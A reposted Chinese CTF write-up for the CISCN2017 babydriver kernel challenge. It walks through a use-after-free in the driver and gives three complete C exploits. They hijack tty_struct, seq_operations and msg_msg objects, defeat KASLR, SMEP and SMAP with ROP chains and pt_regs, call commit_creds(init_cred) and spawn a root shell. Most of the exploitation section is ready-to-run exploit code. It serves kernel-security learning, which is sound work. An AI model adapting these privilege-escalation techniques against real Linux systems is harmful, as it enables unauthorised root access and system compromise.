【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用

本文主要是介绍【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

本文所用的内核为题目所给的内核,版本为 4.4.72,没有引入 kpti 保护。但是这丝毫不影响以下方法在其他部分版本内核的利用,如果有 kpti 保护,最后返回用户态时用 swapgs_restore_regs_and_return_to_usermode 函数即可。还是就是这里并不讲解直接 fork 修改 cred 结构体的利用方式。

参考:

在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析-安全客 - 安全资讯平台

在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法-安全客 - 安全资讯平台

第五届强网杯线上赛冠军队 WriteUp - Pwn 篇 - 知乎 

 漏洞分析

babayioctl

释放全局变量 babydev_struct 中的 device_buf,然后又重新申请了一个 arg_len 大小的堆块,这里没有限制堆块的大小

babyrelease

当关闭对应设备文件时,释放了全局变量 babydev_struct 中的 device_buf、但是并没有将其置空。如果我们打开两次,并将一个关闭,但是另一个还是可以操作此内存区域

babyread、babywrite

两者的功能如下:

len <= babydev_struct.device_buf_lenbabyread:
copy_to_user(user_buf, babydev_struct.device_buf, len)babywrite:
copy_from_user(babydev_struct.device_buf, user_buf, len)

漏洞很明显,任意大小的 UAF,并且有读写的能力。

漏洞利用

tty_struct -- smep+kaslr

当然也可以利用 tty_struct+pt_regs 去打,但是下面的 seq_file 就是利用的 pt_regs,所以这里这不展示了。

在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,该结构体中存放着函数指针的结构体 tty_operations。

其中 tty_struct 大小为 0x2e0, 由 kmalloc-1k 分配,分配方式为 GFP_KERNEL_ACCOUNT。

#define TTY_MAGIC        0x5401struct tty_struct {int	magic;struct kref kref; //其实就是一个intstruct device *dev;struct tty_driver *driver;const struct tty_operations *ops;...
}

 其中 tty_operations 会被初始化为全局变量 ptm_unix98_ops  或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址。

tty_struct+栈迁移

我们可以通过 UAF 劫持 tty_struct、然后利用 babyread 功能读取 tty_operations 的值从而泄漏内核基地址。

然后由于没有开启 smap 保护,所以可以直接伪造 tty_operations。利用 babywrite 去修改 tty_struct 的 tty_operations 为我们伪造的 tty_operations,最后在将栈迁移到 rop 链的位置即可。

如何进行栈迁移呢?

经过调试发现当执行 tty_operations->write 时,rax 指向的就是 fake_ops。所以我们可以找到一条有 mov rsp, rax;ret 效果的gadget 将栈劫持到 fake_ops 上,但是 fake_ops 上空间较小不足以布置下我们的 rop 链,所以我们可以再次将栈直接劫持到 rop 链的位置。

tty_strcut+wrok_for_cpu_fn -- 不用绕过 kpti 保护

其实我们控制了 tty_struct 结构体后,不用这么麻烦地去进行栈迁移啥的。我们可以利用 work_for_cpu_fn。

在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

#define container_of(ptr, type, member) ({          \const typeof(((type *)0)->member)*__mptr = (ptr);    \(type *)((char *)__mptr - offsetof(type, member)); })struct work_for_cpu {struct work_struct work;long (*fn)(void *);void *arg;long ret;
};static void work_for_cpu_fn(struct work_struct *work)
{struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);wfc->ret = wfc->fn(wfc->arg);
}

该函数可以理解为如下形式:

static void work_for_cpu_fn(size_t * args)
{args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

 我们又可以看下函数表:

可以发现当我们执行相关函数时,其第一个参数都是 tty_struct,而 tty_struct 又是我们可以控制的,所以就可以直接在内核中执行相关提权函数了,而无需绕过 smep 等保护

struct tty_operations {struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);int  (*install)(struct tty_driver *driver, struct tty_struct *tty);void (*remove)(struct tty_driver *driver, struct tty_struct *tty);int  (*open)(struct tty_struct * tty, struct file * filp);void (*close)(struct tty_struct * tty, struct file * filp);void (*shutdown)(struct tty_struct *tty);void (*cleanup)(struct tty_struct *tty);int  (*write)(struct tty_struct * tty,const unsigned char *buf, int count);int  (*put_char)(struct tty_struct *tty, unsigned char ch);void (*flush_chars)(struct tty_struct *tty);unsigned int (*write_room)(struct tty_struct *tty);unsigned int (*chars_in_buffer)(struct tty_struct *tty);int  (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
......

与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改

需要注意的是 tty_operations 中的 ioctl 并不是直接执行的,此前需要经过多道检查,因此我们应当传入恰当的参数,这里直接用长亭师傅wp里面的参数就行了。

需要注意的是,由于 tty_struct 的结构体已经被我们破坏,所以最后还得恢复

exp:

上面两个方法写在一起的

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define PTM_UNIX98_OPS 0xffffffff81a74f80
#define PTY_UNIX98_OPS 0xffffffff81a74e60
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
char old_tty[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void fix_tty()
{printf("UID: %d\n", getuid());binary_dump("tty_struct", old_tty, 0x2d0);write(fd[1], old_tty, 0x2d0);close(fd[2]);puts("Success 1");
//      int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
//      char msg[0x800];
//      memset(buf, 'A', 0x800);
//      ((struct msg_buf*)msg)->mtype = 1;
//      msgsnd(qid, msg, 0x2b0, 0);close(fd[1]);puts("Success 2");get_root_shell();puts("SUccess 3");
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x2e0);close(fd[0]);fd[2] = open("/dev/ptmx", O_RDWR);read(fd[1], old_tty, 0x2d0);
//      binary_dump("tty_struct", old_tty, 0x2e0);read(fd[1], buf, 0x40);if ((*((int*)buf)) != 0x5401) puts("No alloc tty_struct by UAF"), exit(-1);size_t ops = buf[3];if ((ops&0xfff) == (PTM_UNIX98_OPS&0xfff))puts("ptm_unix98_ops"), kernel_offset = ops - PTM_UNIX98_OPS;else if ((ops&0xfff) == (PTY_UNIX98_OPS&0xfff))puts("pty_unix98_ops"), kernel_offset = ops - PTY_UNIX98_OPS;else puts("error ops"), exit(-1);printf("kernel_offset: %#lx\n", kernel_offset);printf("tty_struct->ops: %#lx\n", ops);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;size_t fake_ops[16] = { 0 };
// 栈迁移 start
//      for (i = 0; i < 8; i++) fake_ops[i] = MOV_RSP_RAX+kernel_offset;
//      fake_ops[0] = POP_RSP+kernel_offset;
//      fake_ops[0] = POP_RAX+kernel_offset;
//      fake_ops[1] = (size_t)rop;
//      printf("fake_ops->write: %#lx\n", fake_ops[7]);
// 栈迁移 endread(fd[1], buf, 0x40);buf[3] = fake_ops;// work_for_cpu_fnbuf[4] = COMMIT_CREDS+kernel_offset;buf[5] = INIT_CRED+kernel_offset;fake_ops[12] = WORK_FOR_CPU_FN+kernel_offset;printf("fake_ops->ioctl: %#lx\n", fake_ops[12]);printf("fake_ops: %#lx\n", fake_ops);write(fd[1], buf, 0x40);//      binary_dump("buf", buf, 0x40);// work_for_cpu_fnioctl(fd[2], 233, 233);write(fd[1], old_tty, 0x2d0);close(fd[2]);system("/bin/sh");// 栈迁移
//      write(fd[2], "", 1);return 0;
}

seq_file -- smep+smap+kaslr

由于 4.4.72 版本的内核没有 swapgs_restore_regs_and_return_to_usermode,所以还是得进行栈迁移。

当我们打开一个 stat 文件时(如/proc/self/stat)时,内核会为其创建一个 seq_file 结构体,该结构体由特定的内存池分配所以不好进行利用,但是该结构体中存在 seq_operations 字段,其为该文件的函数表,该字段由 kmalloc-32分配,分配方式为 GFP_KERNEL_ACCOUNT

struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};

而其中的 start 等函数指针会被赋值为全局函数,如 start 会被赋值为 single_start,所以可以用来泄漏内核基地址。

而当我们对该文件进行 read 操作时,最后会调用到 seq_operations->start,所以如果我们可以修改 start,就可以劫持程序执行流,但是需要注意的是这里的参数是不可控的。 

seq_file+pt_regs+栈迁移

如果开启了 smap 保护呢?那通过劫持 tty_struct 伪造 tty_operations 的方法就失效了。

这时候,我们可以选择 seq_file 结构体进行利用。

分析后面再写,有点事

exp:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x20);close(fd[0]);fd[2] = open("/proc/self/stat", O_RDONLY);read(fd[1], buf, 0x18);binary_dump("seq_operations", buf, 0x20);kernel_offset = buf[0] - SINGLE_START;printf("kernel_offset: %#lx\n", kernel_offset);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;buf[0] = ADD_RSP_XXX+kernel_offset;printf("seq_operations->start: %#lx\n", buf[0]);write(fd[1], buf, 8);asm("movq $0x11111111, %%r15\n\t""movq $0x0, %%r14\n\t""movq %1, %%r13\n\t""movq $0x6f0, %%r12\n\t""movq %2, %%rbp\n\t""movq %0, %%rbx\n\t""movq $0x77777777, %%r11\n\t""movq %3, %%r10\n\t""movq %4, %%r9\n\t""movq $0xaaaaaaaa, %%r8\n\t""movq $0xcccccccc, %%rcx\n\t"::"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop):);read(fd[2], buf, 8);return 0;
}

seq_file+msg_msg+shm_file_data+pt_regs+栈迁移 -- 不使用read函数

在前面的利用中,我们都可以通过 babayread 直接去泄漏内核基地址,但要是没有 babyread 这个功能呢?我们又该如何去泄漏内核基地址呢?

这里,我选择堆喷 shm_file_data 结构体,然后利用 msg_msg 结构体越界读去泄漏内核基地址。

分析后面再写,有点事

exp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
#define SECONDARY_STARTUP_64 0xffffffff81000110//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);fd[2] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x1000);close(fd[0]);int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);char message[0x2000] = { 0 };struct msg_buf* msg = (struct msg_buf*)message;msg->mtype = 1;memset(msg->mtext, 'A', 0x1020);msgsnd(qid, msg, 0x1020-0x30-0x8, 0);int shmid;char* shmaddr;for (int i = 0; i < 0x50; i++){if ((shmid = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) puts("Failed to create shm"), exit(-1);shmaddr = shmat(shmid, NULL, 0);if (shmaddr == -1) puts("Failed to execve shmat"), exit(-1);}struct msg_header evil = { 0 };evil.l_next = 0xdeadbeef;evil.l_prev = 0xdeadbeef;evil.m_type = 1;evil.m_ts = 0x1400;write(fd[1], &evil, sizeof(evil)-0x10);msgrcv(qid, buf, 0x1400, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR);size_t init_ipc_ns = 0;for (int i = 0; i < 0x1400/8; i++){if ((buf[i]&0xfff) == (0xffffffff81e93f60&0xfff)){init_ipc_ns = buf[i];break;}}binary_dump("OOB read", (char*)buf+0xfd0, 0x100);kernel_offset = init_ipc_ns - 0xffffffff81e93f60;printf("init_ipc_ns: %#lx\n", init_ipc_ns);printf("kernel_offset: %#lx\n", kernel_offset);baby_ioctl(fd[1], 0x20);close(fd[1]);fd[3] = open("/proc/self/stat", O_RDONLY);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;buf[0] = ADD_RSP_XXX+kernel_offset;printf("seq_operations->start: %#lx\n", buf[0]);write(fd[2], buf, 8);asm("movq $0x11111111, %%r15\n\t""movq $0x0, %%r14\n\t""movq %1, %%r13\n\t""movq $0x6f0, %%r12\n\t""movq %2, %%rbp\n\t""movq %0, %%rbx\n\t""movq $0x77777777, %%r11\n\t""movq %3, %%r10\n\t""movq %4, %%r9\n\t""movq $0xaaaaaaaa, %%r8\n\t""movq $0xcccccccc, %%rcx\n\t"::"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop):);read(fd[3], buf, 8);return 0;
}

这篇关于【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/551683

相关文章

从入门到精通详解Python虚拟环境完全指南

《从入门到精通详解Python虚拟环境完全指南》Python虚拟环境是一个独立的Python运行环境,它允许你为不同的项目创建隔离的Python环境,下面小编就来和大家详细介绍一下吧... 目录什么是python虚拟环境一、使用venv创建和管理虚拟环境1.1 创建虚拟环境1.2 激活虚拟环境1.3 验证虚

Unity新手入门学习殿堂级知识详细讲解(图文)

《Unity新手入门学习殿堂级知识详细讲解(图文)》Unity是一款跨平台游戏引擎,支持2D/3D及VR/AR开发,核心功能模块包括图形、音频、物理等,通过可视化编辑器与脚本扩展实现开发,项目结构含A... 目录入门概述什么是 UnityUnity引擎基础认知编辑器核心操作Unity 编辑器项目模式分类工程

Java List 使用举例(从入门到精通)

《JavaList使用举例(从入门到精通)》本文系统讲解JavaList,涵盖基础概念、核心特性、常用实现(如ArrayList、LinkedList)及性能对比,介绍创建、操作、遍历方法,结合实... 目录一、List 基础概念1.1 什么是 List?1.2 List 的核心特性1.3 List 家族成

Python学习笔记之getattr和hasattr用法示例详解

《Python学习笔记之getattr和hasattr用法示例详解》在Python中,hasattr()、getattr()和setattr()是一组内置函数,用于对对象的属性进行操作和查询,这篇文章... 目录1.getattr用法详解1.1 基本作用1.2 示例1.3 原理2.hasattr用法详解2.

c++日志库log4cplus快速入门小结

《c++日志库log4cplus快速入门小结》文章浏览阅读1.1w次,点赞9次,收藏44次。本文介绍Log4cplus,一种适用于C++的线程安全日志记录API,提供灵活的日志管理和配置控制。文章涵盖... 目录简介日志等级配置文件使用关于初始化使用示例总结参考资料简介log4j 用于Java,log4c

史上最全MybatisPlus从入门到精通

《史上最全MybatisPlus从入门到精通》MyBatis-Plus是MyBatis增强工具,简化开发并提升效率,支持自动映射表名/字段与实体类,提供条件构造器、多种查询方式(等值/范围/模糊/分页... 目录1.简介2.基础篇2.1.通用mapper接口操作2.2.通用service接口操作3.进阶篇3

Python自定义异常的全面指南(入门到实践)

《Python自定义异常的全面指南(入门到实践)》想象你正在开发一个银行系统,用户转账时余额不足,如果直接抛出ValueError,调用方很难区分是金额格式错误还是余额不足,这正是Python自定义异... 目录引言:为什么需要自定义异常一、异常基础:先搞懂python的异常体系1.1 异常是什么?1.2

Python实现Word转PDF全攻略(从入门到实战)

《Python实现Word转PDF全攻略(从入门到实战)》在数字化办公场景中,Word文档的跨平台兼容性始终是个难题,而PDF格式凭借所见即所得的特性,已成为文档分发和归档的标准格式,下面小编就来和大... 目录一、为什么需要python处理Word转PDF?二、主流转换方案对比三、五套实战方案详解方案1:

Spring WebClient从入门到精通

《SpringWebClient从入门到精通》本文详解SpringWebClient非阻塞响应式特性及优势,涵盖核心API、实战应用与性能优化,对比RestTemplate,为微服务通信提供高效解决... 目录一、WebClient 概述1.1 为什么选择 WebClient?1.2 WebClient 与

Spring Boot 与微服务入门实战详细总结

《SpringBoot与微服务入门实战详细总结》本文讲解SpringBoot框架的核心特性如快速构建、自动配置、零XML与微服务架构的定义、演进及优缺点,涵盖开发环境准备和HelloWorld实战... 目录一、Spring Boot 核心概述二、微服务架构详解1. 微服务的定义与演进2. 微服务的优缺点三